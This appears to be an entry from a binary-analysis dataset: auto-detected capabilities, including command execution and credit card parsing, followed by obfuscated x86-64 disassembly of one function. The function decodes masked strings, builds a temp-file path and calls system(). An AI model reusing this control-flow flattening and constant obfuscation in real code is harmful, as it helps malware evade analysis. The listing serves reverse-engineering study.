Function at 0x1400d0c8d
Capabilities:
Authenticate hmac
Encrypt data using chaskey
Execute command
Get common file path
Hash data using murmur3
Manually build aes constants
Parse credit card information
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0xc72f9208
pushf
not eax
add eax, 0xfd24ddc0
xor eax, 0xcd438b88
rol eax, 0x47
popf
pushf
not eax
add eax, 0xffa9a13d
xor eax, 0xc657ea91
rol eax, 0x66
popf
pushf
not eax
add eax, 0x877ee96a
xor eax, 0xffe3f511
rol eax, 0x3b
popf
cmp eax, 0x29
jne 0x1400d0cdd
popf
pop rax
jmp 0x1400d39a5
cmp eax, 0x48
jne 0x1400d0cec
popf
pop rax
jmp 0x1400d5e29
cmp eax, 0x3f
jne 0x1400d0cfb
popf
pop rax
jmp 0x1400d5556
cmp eax, 1
jne 0x1400d0d0a
popf
pop rax
jmp 0x1400d12df
cmp eax, 0x4a
jne 0x1400d0d19
popf
pop rax
jmp 0x1400d5ed5
cmp eax, 0x1a
jne 0x1400d0d28
popf
pop rax
jmp 0x1400d2660
cmp eax, 0x44
jne 0x1400d0d37
popf
pop rax
jmp 0x1400d5beb
cmp eax, 0x31
jne 0x1400d0d46
popf
pop rax
jmp 0x1400d444e
cmp eax, 0x40
jne 0x1400d0d55
popf
pop rax
jmp 0x1400d5604
cmp eax, 8
jne 0x1400d0d64
popf
pop rax
jmp 0x1400d1d23
cmp eax, 0x2a
jne 0x1400d0d73
popf
pop rax
jmp 0x1400d3ace
cmp eax, 0x17
jne 0x1400d0d82
popf
pop rax
jmp 0x1400d2498
cmp eax, 0x1c
jne 0x1400d0d91
popf
pop rax
jmp 0x1400d26e4
cmp eax, 0x2e
jne 0x1400d0da0
popf
pop rax
jmp 0x1400d4215
cmp eax, 0x18
jne 0x1400d0daf
popf
pop rax
jmp 0x1400d253d
cmp eax, 0x2b
jne 0x1400d0dbe
popf
pop rax
jmp 0x1400d3e0f
cmp eax, 0x1b
jne 0x1400d0dcd
popf
pop rax
jmp 0x1400d269a
cmp eax, 0x2d
jne 0x1400d0ddc
popf
pop rax
jmp 0x1400d41ba
cmp eax, 0x23
jne 0x1400d0deb
popf
pop rax
jmp 0x1400d3358
cmp eax, 0x25
jne 0x1400d0dfa
popf
pop rax
jmp 0x1400d361d
cmp eax, 0x43
jne 0x1400d0e09
popf
pop rax
jmp 0x1400d58db
cmp eax, 0x13
jne 0x1400d0e18
popf
pop rax
jmp 0x1400d22e1
cmp eax, 0x33
jne 0x1400d0e27
popf
pop rax
jmp 0x1400d46e9
cmp eax, 0x24
jne 0x1400d0e36
popf
pop rax
jmp 0x1400d358d
cmp eax, 0x1e
jne 0x1400d0e45
popf
pop rax
jmp 0x1400d2a91
cmp eax, 0xc
jne 0x1400d0e54
popf
pop rax
jmp 0x1400d1fb1
cmp eax, 0x26
jne 0x1400d0e63
popf
pop rax
jmp 0x1400d368b
cmp eax, 0x27
jne 0x1400d0e72
popf
pop rax
jmp 0x1400d36e6
cmp eax, 0x30
jne 0x1400d0e81
popf
pop rax
jmp 0x1400d43cc
cmp eax, 0x10
jne 0x1400d0e90
popf
pop rax
jmp 0x1400d2180
cmp eax, 0x37
jne 0x1400d0e9f
popf
pop rax
jmp 0x1400d4aa0
cmp eax, 9
jne 0x1400d0eae
popf
pop rax
jmp 0x1400d1dc1
cmp eax, 0x39
jne 0x1400d0ebd
popf
pop rax
jmp 0x1400d4b7c
cmp eax, 0x16
jne 0x1400d0ecc
popf
pop rax
jmp 0x1400d244a
cmp eax, 0x3b
jne 0x1400d0edb
popf
pop rax
jmp 0x1400d500c
cmp eax, 0x4b
jne 0x1400d0eea
popf
pop rax
jmp 0x1400d5f34
cmp eax, 0x36
jne 0x1400d0ef9
popf
pop rax
jmp 0x1400d4a42
cmp eax, 0x14
jne 0x1400d0f08
popf
pop rax
jmp 0x1400d2351
cmp eax, 0x46
jne 0x1400d0f17
popf
pop rax
jmp 0x1400d5d27
cmp eax, 0x3d
jne 0x1400d0f26
popf
pop rax
jmp 0x1400d53de
cmp eax, 2
jne 0x1400d0f35
popf
pop rax
jmp 0x1400d17ac
cmp eax, 0x47
jne 0x1400d0f44
popf
pop rax
jmp 0x1400d5dc9
cmp eax, 0x41
jne 0x1400d0f53
popf
pop rax
jmp 0x1400d5673
cmp eax, 0x11
jne 0x1400d0f62
popf
pop rax
jmp 0x1400d21d0
cmp eax, 0x35
jne 0x1400d0f71
popf
pop rax
jmp 0x1400d498c
cmp eax, 0x3a
jne 0x1400d0f80
popf
pop rax
jmp 0x1400d4cd1
cmp eax, 0x12
jne 0x1400d0f8f
popf
pop rax
jmp 0x1400d2206
cmp eax, 0x21
jne 0x1400d0f9e
popf
pop rax
jmp 0x1400d30b7
cmp eax, 0x38
jne 0x1400d0fad
popf
pop rax
jmp 0x1400d4ae8
cmp eax, 0xb
jne 0x1400d0fbc
popf
pop rax
jmp 0x1400d1f05
cmp eax, 0xf
jne 0x1400d0fcb
popf
pop rax
jmp 0x1400d20dc
cmp eax, 0x15
jne 0x1400d0fda
popf
pop rax
jmp 0x1400d23d0
cmp eax, 5
jne 0x1400d0fe9
popf
pop rax
jmp 0x1400d1b7a
cmp eax, 6
jne 0x1400d0ff8
popf
pop rax
jmp 0x1400d1c0c
cmp eax, 0x22
jne 0x1400d1007
popf
pop rax
jmp 0x1400d3169
cmp eax, 0x49
jne 0x1400d1016
popf
pop rax
jmp 0x1400d5e87
cmp eax, 0x1f
jne 0x1400d1025
popf
pop rax
jmp 0x1400d2d51
cmp eax, 4
jne 0x1400d1034
popf
pop rax
jmp 0x1400d1a6a
cmp eax, 0x2f
jne 0x1400d1043
popf
pop rax
jmp 0x1400d431e
cmp eax, 0x28
jne 0x1400d1052
popf
pop rax
jmp 0x1400d378d
cmp eax, 0x3e
jne 0x1400d1061
popf
pop rax
jmp 0x1400d5439
cmp eax, 0x45
jne 0x1400d1070
popf
pop rax
jmp 0x1400d5c6f
cmp eax, 0x2c
jne 0x1400d107f
popf
pop rax
jmp 0x1400d3f29
cmp eax, 3
jne 0x1400d108e
popf
pop rax
jmp 0x1400d19e7
cmp eax, 0x19
jne 0x1400d109d
popf
pop rax
jmp 0x1400d25be
cmp eax, 0x1d
jne 0x1400d10ac
popf
pop rax
jmp 0x1400d28cf
cmp eax, 0x34
jne 0x1400d10bb
popf
pop rax
jmp 0x1400d4760
cmp eax, 0x32
jne 0x1400d10ca
popf
pop rax
jmp 0x1400d4656
cmp eax, 0xe
jne 0x1400d10d9
popf
pop rax
jmp 0x1400d20a2
cmp eax, 0x42
jne 0x1400d10e8
popf
pop rax
jmp 0x1400d5762
cmp eax, 7
jne 0x1400d10f7
popf
pop rax
jmp 0x1400d1c78
cmp eax, 0x20
jne 0x1400d1106
popf
pop rax
jmp 0x1400d2f9b
cmp eax, 0
jne 0x1400d1115
popf
pop rax
jmp 0x1400d1142
cmp eax, 0x3c
jne 0x1400d1124
popf
pop rax
jmp 0x1400d5158
cmp eax, 0xd
jne 0x1400d1133
popf
pop rax
jmp 0x1400d204a
cmp eax, 0xa
jne 0x1400d1142
popf
pop rax
jmp 0x1400d1ef5
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x350]
sub rsp, 0x450
mov rax, qword [0x140084080]
xor rax, rsp
mov qword [rbp + 0x340], rax
xor r12d, r12d
lea rdx, [rbp + 0x130]
mov ecx, 0x69a2e130
pushf
not ecx
add ecx, 0xa6e46741
xor ecx, 0xc54737e4
rol ecx, 0x20
popf
pushf
not ecx
add ecx, 0x8680e1aa
xor ecx, 0x8e7a6eb5
rol ecx, 0xfa
popf
jmp 0x1400d11b4
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
movabs r14, 0x58f58a167568676d
pushf
not r14
add r14, 0x6e566f81
xor r14, 0x73dc9f17
rol r14, 0xdd
popf
pushf
not r14
add r14, 0x5e5271e2
xor r14, 0x612af4be
rol r14, 0xb7
popf
pushf
not r14
add r14, 0x5d40efee
xor r14, 0x52ee9a74
rol r14, 0xe6
popf
movabs rsi, 0xc07f299c61d0149e
pushf
not rsi
add rsi, 0x40759048
xor rsi, 0x41eda87b
rol rsi, 0xe6
popf
pushf
not rsi
add rsi, 0x714b81aa
xor rsi, 0x5dc9d5fe
rol rsi, 0x7a
popf
test eax, eax
jne 0x1400d12ac
push rax
pushf
mov eax, 0xafe83657
pushf
not eax
add eax, 0xb3fb362d
xor eax, 0xf7192aa5
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xa97c6c4d
xor eax, 0xb2a781a0
rol eax, 0xa4
popf
pushf
not eax
add eax, 0x8e514bcd
xor eax, 0xff03d175
rol eax, 0xe0
popf
pushf
not eax
add eax, 0xc0307193
xor eax, 0xa341e5ea
rol eax, 0xb5
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x92a945b9
pushf
not eax
add eax, 0xa1eddfd6
xor eax, 0xad49c6df
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xe7452fb5
xor eax, 0xd8b4fa41
rol eax, 0x2e
popf
jmp 0x1400d0cce
movabs rax, 0x745182100eccec1d
pushf
not rax
add rax, 0x78b9b628
xor rax, 0x455492d0
rol rax, 0xac
popf
pushf
not rax
add rax, 0x4435ce54
xor rax, 0x72242616
rol rax, 0xad
popf
pushf
not rax
add rax, 0x473bf4eb
xor rax, 0x51373fbd
rol rax, 0x86
popf
pushf
not rax
add rax, 0x4b7e44c2
xor rax, 0x79345f70
rol rax, 0x37
popf
mov qword [rbp + 0xd0], rax
movabs rax, 0x336d370253981c5c
pushf
not rax
add rax, 0x5c6ae38d
xor rax, 0x5ec28ca9
rol rax, 0xad
popf
pushf
not rax
add rax, 0x7ca466c9
xor rax, 0x74fe3e13
rol rax, 0xf
popf
pushf
not rax
add rax, 0x6377bdce
xor rax, 0x513e6493
rol rax, 0x8b
popf
pushf
not rax
add rax, 0x6aa6c1ab
xor rax, 0x4f1209cd
rol rax, 0x44
popf
mov qword [rbp + 0xd8], rax
movabs rax, 0x54493865f5f94a35
pushf
not rax
add rax, 0x6b9f0dc9
xor rax, 0x7b6ffd77
rol rax, 0x60
popf
pushf
not rax
add rax, 0x70c346f6
xor rax, 0x7b837456
rol rax, 0xf4
popf
pushf
not rax
add rax, 0x40f0a329
xor rax, 0x56b61de1
rol rax, 0x7a
popf
mov qword [rbp + 0xe0], rax
movabs rax, 0xf880d75bcd615b83
pushf
not rax
add rax, 0x76968155
xor rax, 0x4e0654a8
rol rax, 0x26
popf
pushf
not rax
add rax, 0x7c648ace
xor rax, 0x5db3bd5d
rol rax, 0xd9
popf
mov qword [rbp + 0xe8], rax
movabs rax, 0x9dd5291dc579412e
pushf
not rax
add rax, 0x6be2abb6
xor rax, 0x4c539c45
rol rax, 0x5e
popf
pushf
not rax
add rax, 0x7bc6fbcb
xor rax, 0x5be663c1
rol rax, 0x64
popf
pushf
not rax
add rax, 0x613d05a9
xor rax, 0x4986bd0a
rol rax, 0x91
popf
mov qword [rbp + 0xf0], rax
movabs rax, 0xa8d438995fac43e6
pushf
not rax
add rax, 0x4fbc77d2
xor rax, 0x71853256
rol rax, 0x14
popf
pushf
not rax
add rax, 0x5e730153
xor rax, 0x70c28ea1
rol rax, 0x84
popf
mov qword [rbp + 0xf8], rax
mov qword [rbp + 0x100], r14
mov qword [rbp + 0x108], rsi
movabs rax, 0xf7e3bd7008635f72
pushf
not rax
add rax, 0x62b49383
xor rax, 0x79e3a48d
rol rax, 0x11
popf
pushf
not rax
add rax, 0x56d43916
xor rax, 0x5e0fe653
rol rax, 0xcc
popf
pushf
not rax
add rax, 0x42b20d64
xor rax, 0x6bae258c
rol rax, 0x4c
popf
pushf
not rax
add rax, 0x4791a3fe
xor rax, 0x682a47c5
rol rax, 0xee
popf
mov qword [rbp + 0x110], rax
movabs rax, 0x3a493fc9c2994b1c
pushf
not rax
add rax, 0x77bcacc7
xor rax, 0x45f0d9ff
rol rax, 0x22
popf
pushf
not rax
add rax, 0x450c58ac
xor rax, 0x76bb1e6a
rol rax, 0xc1
popf
pushf
not rax
add rax, 0x57d49223
xor rax, 0x4bbf44db
rol rax, 0x63
popf
pushf
not rax
add rax, 0x5b12909a
xor rax, 0x6a2d9b4f
rol rax, 0x27
popf
mov qword [rbp + 0x118], rax
movabs rax, 0xab88e3138a5a18a5
pushf
not rax
add rax, 0x762165ef
xor rax, 0x4e1f8121
rol rax, 0x77
popf
pushf
not rax
add rax, 0x6752e3e0
xor rax, 0x5ebcf24f
rol rax, 0x7f
popf
mov qword [rbp + 0x120], rax
movabs rax, 0x59ca6c22f0f3bc99
pushf
not rax
add rax, 0x438a14c7
xor rax, 0x54817461
rol rax, 0x40
popf
pushf
not rax
add rax, 0x4c67faf1
xor rax, 0x56140556
rol rax, 0xed
popf
mov qword [rbp + 0x128], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0xd0]
movdqa xmmword [rbp + 0xd0], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
xorps xmm1, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0xe0], xmm1
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x120]
movdqa xmmword [rbp + 0xf0], xmm0
lea rdx, [rbp + 0xd0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400b9268
mov rbx, rax
jmp 0x1400d16a5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, rbx
jmp 0x1400d16b1
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [0x193b9048c]
pushf
sub rdx, 0x53b8846c
popf
mov rcx, rax
jmp 0x1400d16cd
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
movabs rax, 0xc8e28a661ca6f51e
pushf
not rax
add rax, 0x409bb2ec
xor rax, 0x5b793f7a
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x49b0cf00
xor rax, 0x7ce18c92
rol rax, 0xf7
popf
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
mov qword [rbp + 0x80], r14
mov qword [rbp + 0x88], rsi
movdqa xmm0, xmmword [rbp + 0x80]
xorps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
lea rcx, [rsp + 0x30]
jmp 0x1400d173c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x1400d1743
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, qword [rbp + 0x340]
xor rcx, rsp
call fcn.1400e25c8
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
movabs rax, 0x5033df204c94181
pushf
not rax
add rax, 0x6135f5ba
xor rax, 0x70b5aed2
rol rax, 0xa0
popf
pushf
not rax
add rax, 0x7c127e56
xor rax, 0x7175b2b0
rol rax, 0xe1
popf
mov qword [rbp + 0xa0], rax
movabs rax, 0x14707be1fb07b498
pushf
not rax
add rax, 0x50a86f09
xor rax, 0x6bb83fe3
rol rax, 0x1b
popf
pushf
not rax
add rax, 0x4e6d6a37
xor rax, 0x5259a3a6
rol rax, 7
popf
pushf
not rax
add rax, 0x4ec80e9c
xor rax, 0x4b9f0ede
rol rax, 0x81
popf
mov qword [rbp + 0xa8], rax
movabs rax, 0xb46bca90651a00cd
pushf
not rax
add rax, 0x40510f1a
xor rax, 0x4b2baec7
rol rax, 0xc
popf
pushf
not rax
add rax, 0x660c7c20
xor rax, 0x7253a356
rol rax, 0xc9
popf
pushf
not rax
add rax, 0x6f38011f
xor rax, 0x52b4c313
rol rax, 0x13
popf
mov qword [rbp + 0xb0], rax
movabs r15, 0xfe5378dd7ebfa407
pushf
not r15
add r15, 0x7c6fbd0a
xor r15, 0x63385eab
rol r15, 0x27
popf
pushf
not r15
add r15, 0x45cd3677
xor r15, 0x7c496e08
rol r15, 0x20
popf
pushf
not r15
add r15, 0x76f37654
xor r15, 0x4a37883a
rol r15, 0x40
popf
pushf
not r15
add r15, 0x7805101c
xor r15, 0x72bce5b5
rol r15, 0x3e
popf
mov qword [rbp + 0xb8], r15
mov qword [rbp + 0xd0], r14
mov qword [rbp + 0xd8], rsi
movabs rax, 0xe337c58b9c22a7eb
pushf
not rax
add rax, 0x43eb9124
xor rax, 0x6c107bb5
rol rax, 0xf2
popf
pushf
not rax
add rax, 0x7b10b80b
xor rax, 0x431fb165
rol rax, 0xa7
popf
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], r15
movdqa xmm0, xmmword [rbp + 0xd0]
xorps xmm0, xmmword [rbp + 0xa0]
movdqa xmmword [rbp + 0xa0], xmm0
movdqa xmm1, xmmword [rbp + 0xb0]
xorps xmm1, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0xb0], xmm1
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
lea rax, [rbp + 0x130]
mov rdi, 0xffffffffffffffff
mov rbx, rdi
push rax
pushf
mov eax, 0x105858f3
pushf
not eax
add eax, 0xd4baf817
xor eax, 0xa601bd5e
rol eax, 0x83
popf
pushf
not eax
add eax, 0xd5b78898
xor eax, 0xc29e74cc
rol eax, 0x9b
popf
jmp 0x1400d0cce
inc rbx
cmp word [rax + rbx*2], r12w
jne 0x1400d1a37
push rax
pushf
mov eax, 0xdfd49f8f
pushf
not eax
add eax, 0x9466a447
xor eax, 0xa37ac7c6
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x86b88bbc
xor eax, 0x9baeee30
rol eax, 0x37
popf
pushf
not eax
add eax, 0xe407c5c4
xor eax, 0xa48d1530
rol eax, 0xc9
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x65b9847e
pushf
not eax
add eax, 0x8b555045
xor eax, 0x8e2b1e2d
rol eax, 0x87
popf
pushf
not eax
add eax, 0xcc1df3e4
xor eax, 0xf372fe0e
rol eax, 0xa
popf
jmp 0x1400d0cce
movabs r13, 0xffffe86912a575cf
pushf
not r13
add r13, 0x61b77be2
xor r13, 0x6491fa62
rol r13, 0xf0
popf
pushf
not r13
add r13, 0x5d66289d
xor r13, 0x45feb0be
rol r13, 0x91
popf
pushf
not r13
add r13, 0x503ad866
xor r13, 0x4b132eba
rol r13, 0x1a
popf
cmp rbx, r13
ja 0x1400d1b21
push rax
pushf
mov eax, 0x51ac7dd5
pushf
not eax
add eax, 0x8c412205
xor eax, 0x993e1e41
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x8fb6387d
xor eax, 0xefc612d3
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xad3e16c6
xor eax, 0x83c8d077
rol eax, 0x6d
popf
pushf
not eax
add eax, 0xc8e0f2d4
xor eax, 0xff728a7e
rol eax, 0xe2
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xe7486acd
pushf
not eax
add eax, 0x9865f392
xor eax, 0x9073c3e7
rol eax, 0x61
popf
pushf
not eax
add eax, 0xcee5350a
xor eax, 0xf965463c
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xeb3e9f75
xor eax, 0x883a5617
rol eax, 0x96
popf
pushf
not eax
add eax, 0xc1aead33
xor eax, 0xa8ef33a6
rol eax, 0xfe
popf
jmp 0x1400d0cce
cmp rbx, 7
ja 0x1400d1bc6
push rax
pushf
mov eax, 0x4ec81084
pushf
not eax
add eax, 0x85c9eb55
xor eax, 0xb91c8ab1
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xe4a5e858
xor eax, 0x85d0ad13
rol eax, 0x46
popf
pushf
not eax
add eax, 0xefa18b53
xor eax, 0xf303fe33
rol eax, 0x55
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x5036aadc
pushf
not eax
add eax, 0xa5b415e8
xor eax, 0xba502dbd
rol eax, 2
popf
pushf
not eax
add eax, 0xf8c98e2a
xor eax, 0x963830a1
rol eax, 0x12
popf
pushf
not eax
add eax, 0xb8803938
xor eax, 0xa8c18c86
rol eax, 0xf6
popf
jmp 0x1400d0cce
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], 7
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memcpy
mov word [rbp + rbx + 0xd0], r12w
jmp 0x1400d22a3
mov rax, rbx
or rax, 7
cmp rax, r13
jbe 0x1400d1cca
push rax
pushf
mov eax, 0xd9640fd6
pushf
not eax
add eax, 0xbe2207b5
xor eax, 0xc155439c
rol eax, 0x14
popf
pushf
not eax
add eax, 0xe71df36f
xor eax, 0xeb588a86
rol eax, 0xd3
popf
pushf
not eax
add eax, 0xe76d30e0
xor eax, 0xf452e3c7
rol eax, 0xcf
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x594c2f15
pushf
not eax
add eax, 0xf1d02d40
xor eax, 0x9ae790a4
rol eax, 0x44
popf
pushf
not eax
add eax, 0xd401363d
xor eax, 0x98255175
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x9236e24e
xor eax, 0x840a307e
rol eax, 0xdf
popf
pushf
not eax
add eax, 0xd39234c8
xor eax, 0xd1b28f4b
rol eax, 0xf
popf
jmp 0x1400d0cce
movabs rax, 0x800000dcdfa65a13
pushf
not rax
add rax, 0x7285e605
xor rax, 0x6c6ae796
rol rax, 0x7e
popf
pushf
not rax
add rax, 0x4d6f571a
xor rax, 0x4f88f500
rol rax, 0xfa
popf
pushf
not rax
add rax, 0x7a07f456
xor rax, 0x62012fce
rol rax, 0xc8
popf
lea rcx, [rax + rax]
jmp 0x1400d1f05
mov r13, rax
mov ecx, 0xe3020c37
pushf
not ecx
add ecx, 0x8777c854
xor ecx, 0xfee8b54a
rol ecx, 0x31
popf
pushf
not ecx
add ecx, 0xbda48bf1
xor ecx, 0xa877d6b6
rol ecx, 0xa
popf
cmp rax, rcx
cmovb r13, rcx
lea rcx, [r13 + 1]
movabs rax, 0xa8e92b88922cfb51
pushf
not rax
add rax, 0x733f28a3
xor rax, 0x6ec6aff5
rol rax, 0xe4
popf
pushf
not rax
add rax, 0x489b4b41
xor rax, 0x476e03c8
rol rax, 0xe6
popf
pushf
not rax
add rax, 0x5fae975b
xor rax, 0x4e46d749
rol rax, 0x43
popf
cmp rcx, rax
ja 0x1400d1e9c
push rax
pushf
mov eax, 0xbc933e69
pushf
not eax
add eax, 0xe534f409
xor eax, 0x846782fa
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xe0dfd5d3
xor eax, 0xd9ab18c7
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xdefe8d63
xor eax, 0xc115d36e
rol eax, 0x26
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xb868a0af
pushf
not eax
add eax, 0xe70796ca
xor eax, 0xf7609517
rol eax, 0xf6
popf
pushf
not eax
add eax, 0xc67833c4
xor eax, 0xb5979193
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xbd45c023
xor eax, 0xba03df4b
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xa295084b
xor eax, 0xd6a670a2
rol eax, 0x8a
popf
jmp 0x1400d0cce
add rcx, rcx
cmp rcx, 0x1000
jb 0x1400d20dc
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400d1f6b
push rax
pushf
mov eax, 0xcec434c7
pushf
not eax
add eax, 0xc67811d6
xor eax, 0xa2dfff73
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xc4a13961
xor eax, 0xdea13975
rol eax, 0x9b
popf
pushf
not eax
add eax, 0x9ddb81a2
xor eax, 0xe3a6d3bf
rol eax, 0x4e
popf
pushf
not eax
add eax, 0x9f2c46b1
xor eax, 0xdf4d6af6
rol eax, 0x30
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0xf130bf9c
pushf
not eax
add eax, 0xe46d5709
xor eax, 0xf662c642
rol eax, 6
popf
pushf
not eax
add eax, 0xd670f662
xor eax, 0xf1d74a4b
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xefd55df6
xor eax, 0xff7b2670
rol eax, 0x54
popf
jmp 0x1400d0cce
mov rcx, rax
call fcn.14009bbe5
test rax, rax
je 0x1400d2004
push rax
pushf
mov eax, 0xc5c20a1
pushf
not eax
add eax, 0xc25f0e3d
xor eax, 0xe051a8fa
rol eax, 0x45
popf
pushf
not eax
add eax, 0xfebf7222
xor eax, 0xb3e8b119
rol eax, 0xdb
popf
pushf
not eax
add eax, 0x89e70a4b
xor eax, 0xc5a916a3
rol eax, 0x64
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x54ad0fa3
pushf
not eax
add eax, 0xa13fdeec
xor eax, 0xc4a7d286
rol eax, 0xbd
popf
pushf
not eax
add eax, 0xcfd23de6
xor eax, 0x94c105de
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xd66b2fed
xor eax, 0x866b9c9c
rol eax, 0x69
popf
jmp 0x1400d0cce
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x1400d2206
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
test rcx, rcx
je 0x1400d213a
push rax
pushf
mov eax, 0xfd0cb645
pushf
not eax
add eax, 0xfb566b05
xor eax, 0x96a89870
rol eax, 0x49
popf
pushf
not eax
add eax, 0xaddda502
xor eax, 0xd51d1b0a
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xfd3803d6
xor eax, 0xb9b53f47
rol eax, 0x93
popf
pushf
not eax
add eax, 0xe0fc0340
xor eax, 0x8d00e14d
rol eax, 0xbc
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x55f21a40
pushf
not eax
add eax, 0xfcc77b34
xor eax, 0x8a437769
rol eax, 0x48
popf
pushf
not eax
add eax, 0xca27d306
xor eax, 0xbf8725ea
rol eax, 0x49
popf
pushf
not eax
add eax, 0xf82c73d9
xor eax, 0xc9f20dd1
rol eax, 0x3c
popf
jmp 0x1400d0cce
call fcn.14009bbe5
mov r15, rax
jmp 0x1400d2206
mov r15, r12
push rax
pushf
mov eax, 0x894ce093
pushf
not eax
add eax, 0xc71b1a4c
xor eax, 0xe78b91a5
rol eax, 0x3b
popf
pushf
not eax
add eax, 0xd2837c95
xor eax, 0xe3b14f1c
rol eax, 0xde
popf
jmp 0x1400d0cce
mov qword [rbp + 0xd0], r15
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], r13
add rbx, rbx
mov r8, rbx
lea rdx, [rbp + 0x130]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov word [r15 + rbx], r12w
movabs r15, 0xf8c5059210f8646c
pushf
not r15
add r15, 0x5762e4bc
xor r15, 0x40a892f1
rol r15, 2
popf
pushf
not r15
add r15, 0x7b699030
xor r15, 0x786a9ff6
rol r15, 0x39
popf
pushf
not r15
add r15, 0x7dd37655
xor r15, 0x4610a847
rol r15, 0xd8
popf
pushf
not r15
add r15, 0x65a3e1df
xor r15, 0x6d423ffd
rol r15, 0x17
popf
lea rax, [rbp + 0xa0]
nop dword [rax]
push rax
pushf
mov eax, 0x428ed0f6
pushf
not eax
add eax, 0xfda3b5a0
xor eax, 0xd435dbee
rol eax, 0x14
popf
pushf
not eax
add eax, 0xab61715a
xor eax, 0xbf6a7f46
rol eax, 0x29
popf
jmp 0x1400d0cce
inc rdi
cmp word [rax + rdi*2], 0
jne 0x1400d231e
push rax
pushf
mov eax, 0x5a968270
pushf
not eax
add eax, 0xedf77e90
xor eax, 0xa58c7447
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xaad48d51
xor eax, 0xfa66b4e0
rol eax, 0x3d
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x6d2aa281
pushf
not eax
add eax, 0xcc5df304
xor eax, 0xef2f00da
rol eax, 0x80
popf
pushf
not eax
add eax, 0x85a3963c
xor eax, 0xe58745e2
rol eax, 0xc4
popf
jmp 0x1400d0cce
mov r13, qword [rbp + 0xe0]
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
sub rax, r13
cmp rdi, rax
ja 0x1400d239d
push rax
pushf
mov eax, 0x5ca073c1
pushf
not eax
add eax, 0xc21bb3c3
xor eax, 0xe842ed38
rol eax, 0x78
popf
pushf
not eax
add eax, 0xed7c5c3f
xor eax, 0xb3ef8a91
rol eax, 0x35
popf
jmp 0x1400d0cce
push rax
pushf
mov eax, 0x61990b4e
pushf
not eax
add eax, 0x87d268d9
xor eax, 0xac205671
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xcb2a8fcd
xor eax, 0x85022b9d
rol eax, 0xa6
popf
jmp 0x1400d0cce
lea rax, [rdi + r13]
mov qword [rbp + 0xe0], rax
lea rbx, [rbp + 0xd0]
cmp rcx, 7
cmova rbx, qword [rbp + 0xd0]
lea rcx, [rbx + r13*2]
lea r8, [rdi + rdi]
lea rdx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rdi + r13]
mov word [rbx + rax*2], r12w
